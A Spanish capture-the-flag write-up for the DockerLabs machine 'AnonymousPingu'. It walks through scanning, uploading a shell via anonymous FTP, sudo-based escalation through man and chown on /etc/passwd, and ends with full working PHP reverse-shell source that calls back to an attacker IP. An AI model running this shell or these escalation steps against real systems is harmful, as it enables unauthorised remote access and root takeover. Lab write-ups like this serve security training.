> For the complete documentation index, see [llms.txt](https://hacking-3.gitbook.io/barre/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-3.gitbook.io/barre/write-up/dockerlabs/facil/anonymouspingu.md).

# AnonymousPingu

## Máquina

<figure><img src="/files/IApa7ux1QEiXSo65WTIC" alt=""><figcaption></figcaption></figure>

## Reconocimiento

### Nmap

```bash
sudo nmap -p- --open -sS -sC -sV --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oN nmap.txt
```

```
PORT   STATE SERVICE REASON         VERSION
21/tcp open  ftp     syn-ack ttl 64 vsftpd 3.0.5
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:172.17.0.1
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 1
|      vsFTPd 3.0.5 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw-r--r--    1 0        0            7816 Nov 25  2019 about.html
| -rw-r--r--    1 0        0            8102 Nov 25  2019 contact.html
| drwxr-xr-x    2 0        0            4096 Jan 01  1970 css
| drwxr-xr-x    2 0        0            4096 Apr 28 18:28 heustonn-html
| drwxr-xr-x    2 0        0            4096 Oct 23  2019 images
| -rw-r--r--    1 0        0           20162 Apr 28 18:32 index.html
| drwxr-xr-x    2 0        0            4096 Oct 23  2019 js
| -rw-r--r--    1 0        0            9808 Nov 25  2019 service.html
|_drwxrwxrwx    1 33       33           4096 Apr 28 21:08 upload [NSE: writeable]
80/tcp open  http    syn-ack ttl 64 Apache httpd 2.4.58 ((Ubuntu))
| http-methods: 
|_  Supported Methods: POST OPTIONS HEAD GET
|_http-server-header: Apache/2.4.58 (Ubuntu)
|_http-title: Mantenimiento
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: OS: Unix
```

### Gobuster

```bash
sudo gobuster dir -u 172.17.0.2 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt | tee gobuster.txt
```

```
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://172.17.0.2
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/images               (Status: 301) [Size: 309] [--> http://172.17.0.2/images/]
/upload               (Status: 301) [Size: 309] [--> http://172.17.0.2/upload/]
/css                  (Status: 301) [Size: 306] [--> http://172.17.0.2/css/]
/js                   (Status: 301) [Size: 305] [--> http://172.17.0.2/js/]
/server-status        (Status: 403) [Size: 275]

===============================================================
Finished
===============================================================
```

## Explotación

### FTP

Como podemos ver, nmap nos saca mucha información sobre este protocolo:

Básicamente nos da un usuario, que es ftp, y algunos archivos que hay ahí; vamos a conectarnos usando este user.

<figure><img src="/files/6R98CJ8GwRZV9qdl8FxZ" alt=""><figcaption></figcaption></figure>

Se me ocurre que podemos intentar subir una reverse shell, ya que si nos fijamos, podemos ver que en el directorio upload tenemos permisos de lectura, escritura y ejecución.

<figure><img src="/files/vX3kIAI1pSrC2OK4o1Rv" alt=""><figcaption></figcaption></figure>

Subimos la shell con `put`:

<figure><img src="/files/7z0OQjH169OhkILGByY0" alt=""><figcaption></figcaption></figure>

{% hint style="info" %}
Nota: Si no sabéis hacer una shell o necesitáis una en un lenguaje en especifico podéis usar esta pagina: [Online - Reverse Shell](https://www.revshells.com/).
{% endhint %}

{% hint style="info" %}
Nota: La shell que he usado esta al final del write up, [aquí](#shell-utilizada).
{% endhint %}

## Acceso

Con la shell subida, nos ponemos en escucha con `nc`:

```bash
nc -lvp 2222
```

A continuación entramos en la web, en el directorio de `upload`:

<figure><img src="/files/qhlNTvrtfJaPgEnFVmFi" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/kHi4DJOHvdqYJMOEyhuh" alt=""><figcaption></figcaption></figure>

Y ya tendríamos una reverse shell:

<figure><img src="/files/SQxW8zDWLN4TBYnqhEFb" alt=""><figcaption></figcaption></figure>

## Escalado de privilegios

### Usuario www-data

Nota: Al ver quienes somo vemos que somos el usuario `www-data`, usuario muy común, con pocos privilegios y encargado de la web.

[Tratamos la TTY](broken://spaces/DlUOSuj7BKSAUaWFSm4x/pages/GESCDnUmkMQE3DTKET6U)

Vemos que permisos tenemos:

<figure><img src="/files/duv2GUyyHpD5TZnqz3GG" alt=""><figcaption></figcaption></figure>

Vemos que tenemos permiso de man con el usuario `pingu`.

Por lo que podemos explotar ese binario, primero ejecutamos el binario con `sudo` y el usuario `pingu`, y a continuación escribimos `!/bin/sh`.

<figure><img src="/files/AI8NMwl8glqoHBYrrCLL" alt=""><figcaption></figcaption></figure>

De esta manera conseguimos acceso al usuario `pingu`.

### Usuario pingu

Con este usuario nos pasa lo mismo que con `www-data`, tiene permisos como el usuario `gladys`.

<figure><img src="/files/SEQ64EjAlT6ZJiSdY5xV" alt=""><figcaption></figcaption></figure>

La explotación es muy parecida a la del usuario anterior:

<figure><img src="/files/czEr0WW6nslphfeSdbqC" alt=""><figcaption></figcaption></figure>

De esta forma somos el usuario `gladys`.

### Usuario gladys

Siendo `gladys` tenemos permisos con `root` en `/usr/bin/chown`:

<figure><img src="/files/lNI1Dx5euliKib9rZL1r" alt=""><figcaption></figcaption></figure>

Para explotar este binario lo mas sencillo es ponernos como propietarios del archivo `/etc/passwd`.

{% hint style="info" %}
Nota: Para entender mejor el fichero passwd [pulsa aquí](#passwd).
{% endhint %}

<figure><img src="/files/ztd4VWb5zob5rktR1oSb" alt=""><figcaption></figcaption></figure>

{% hint style="info" %}
Nota: Si intentamos editar este fichero no nos dejara porque no esta nano u otro editor de texto instalado, por lo que no podremos editarlo de esta forma.
{% endhint %}

La forma más sencilla que se me ha ocurrido es copiar el contenido de passwd y llevármelo a maquina para editarlo.

Lo único que he hecho a sido quitarle la contraseña a root.

Después se mete todo de nuevo en el archivo:

<figure><img src="/files/BRF0qKHiczq4z3lV8YyX" alt=""><figcaption></figcaption></figure>

Por ultimo habría que cambiarse a root y ya estaría:

<figure><img src="/files/ltelIY3nKc1bXFLGlMSn" alt=""><figcaption></figcaption></figure>

## Conclusion

Maquina muy interesante, destacando en su escalado de privilegios, ya que hay que pasar por 3 usuarios diferentes y explotar binarios diferentes por cada usuario.

***

## Recursos e información adicional

#### Pagina de explotación de binarios

{% embed url="<https://gtfobins.github.io/>" %}

#### Passwd

<figure><img src="/files/bpm5RXTNmOpy3ee5y82V" alt=""><figcaption></figcaption></figure>

#### Shell utilizada

```php
<?php

set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.1.59';
$port = 2222;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; sh -i';
$daemon = 0;
$debug = 0;

if (function_exists('pcntl_fork')) {
	$pid = pcntl_fork();
	
	if ($pid == -1) {
		printit("ERROR: Can't fork");
		exit(1);
	}
	
	if ($pid) {
		exit(0);  // Parent exits
	}
	if (posix_setsid() == -1) {
		printit("Error: Can't setsid()");
		exit(1);
	}

	$daemon = 1;
} else {
	printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

chdir("/");

umask(0);

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
	printit("$errstr ($errno)");
	exit(1);
}

$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
	printit("ERROR: Can't spawn shell");
	exit(1);
}

stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
	if (feof($sock)) {
		printit("ERROR: Shell connection terminated");
		break;
	}

	if (feof($pipes[1])) {
		printit("ERROR: Shell process terminated");
		break;
	}

	$read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

	if (in_array($sock, $read_a)) {
		if ($debug) printit("SOCK READ");
		$input = fread($sock, $chunk_size);
		if ($debug) printit("SOCK: $input");
		fwrite($pipes[0], $input);
	}

	if (in_array($pipes[1], $read_a)) {
		if ($debug) printit("STDOUT READ");
		$input = fread($pipes[1], $chunk_size);
		if ($debug) printit("STDOUT: $input");
		fwrite($sock, $input);
	}

	if (in_array($pipes[2], $read_a)) {
		if ($debug) printit("STDERR READ");
		$input = fread($pipes[2], $chunk_size);
		if ($debug) printit("STDERR: $input");
		fwrite($sock, $input);
	}
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

function printit ($string) {
	if (!$daemon) {
		print "$string\n";
	}
}

?>
```
